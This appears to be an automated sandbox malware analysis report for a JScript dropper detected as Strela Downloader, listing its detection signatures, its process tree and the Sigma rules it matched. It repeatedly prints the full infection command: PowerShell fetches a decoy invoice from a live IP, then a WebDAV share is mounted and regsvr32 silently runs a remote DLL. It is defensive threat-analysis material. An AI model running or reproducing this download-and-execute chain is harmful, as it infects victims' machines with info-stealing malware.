Edit tour

Windows Analysis Report
5545194012153110815.js

Overview

General Information

Sample name:	5545194012153110815.js
Analysis ID:	1588276
MD5:	05510720b7f1c86f1f92b25735566d6d
SHA1:	962d82083ec5b914b22337912dc0753f8e60f582
SHA256:	2c10e18d2878ab51b662474db5078045e77659bebd456df212494f1bb341bb6a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7520 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7608 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7668 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1540,i,146032885069178722,7613249884604742587,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7864 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7968 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7520	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ProcessId: 7520, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ProcessId: 7520, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7968, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8124, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7864, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7968, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5545194012153110815.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll, ProcessId: 7608, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5545194012153110815.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5545194012153110815.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000002.1323966268.00000283B267B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/7
Source: net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 00000008.00000002.1370600684.0000024523708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000A.00000002.2615143454.000001EFD3200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1377491671.000001EFD3080000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7520, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
